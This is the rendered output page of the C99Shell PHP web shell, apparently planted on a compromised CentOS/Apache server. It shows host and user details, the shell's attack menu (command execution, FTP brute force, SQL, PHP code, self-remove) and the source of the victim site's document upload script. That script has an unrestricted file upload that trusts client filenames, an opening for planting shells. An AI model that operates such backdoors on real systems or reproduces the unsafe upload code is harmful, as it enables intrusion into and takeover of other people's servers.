!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/documento/   drwxr-xr-x
Free 9.43 GB of 93.48 GB (10.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     doc_grava.php (1.58 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../../config/config.php");
include(
INCLUDES "conexaoBD.php");
include(
INCLUDES "sentencas_sql.php");
include(
INCLUDES "funcoes_uteis.php");
include(
INCLUDES "valida_usuario.inc.php");

function 
upload ($arquivo) {
    
$pasta "../../arquivos/documentos/";

    if (!
is_dir($pasta)) {
        
mkdir($pasta);
    }

    
move_uploaded_file($arquivo['tmp_name'],
     
"../../arquivos/documentos/{$arquivo['name']}");
     return 
$arquivo['name'];
}

$error true;
$tituloDocumento $_POST['txtTitulo'];
$nomeDocumento "";
$tipo "";
if (isset(
$_FILES['doc']) && !empty($_FILES['doc'])) {
    
$nomeDocumento upload($_FILES['doc']);
    
$error false;
}

if (isset(
$_POST['tipo']) && !empty($_POST['tipo'])) {
    
$tipo $_POST['tipo'];
    
$error false;
}

if (isset(
$_POST['id']) && $nomeDocumento == "") {
    
$nomeDocumento $_POST['nome_documento'];
}

if (
$error) {
    
Redireciona('doc_cadastrar.php',array('msg' => $msg'erro' => $erro));
}

if (isset(
$_POST['id']) && !empty($_POST['id'])) {
    
$sql "UPDATE documentos SET DOC_Tipo = ?, DOC_URL = ?, DOC_Titulo = ? WHERE DOC_RowID = ?";
    
$stmt $conexao->prepare($sql);
    
$stmt->bind_param('sssi',$tipo,$nomeDocumento,$tituloDocumento,$_POST['id']);
    
$stmt->execute();
    
$conexao->commit();
} else {
    
$sql "INSERT INTO documentos (DOC_Tipo,DOC_URL,DOC_Titulo) VALUES(?,?,?)";
    
$stmt $conexao->prepare($sql);
    
$stmt->bind_param('sss',$tipo,$nomeDocumento,$tituloDocumento);
    
$stmt->execute();
    
$conexao->commit();
}

Redireciona('doc_cadastrar.php',array('msg' => 'Dados salvos com sucesso.'));

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0039 ]--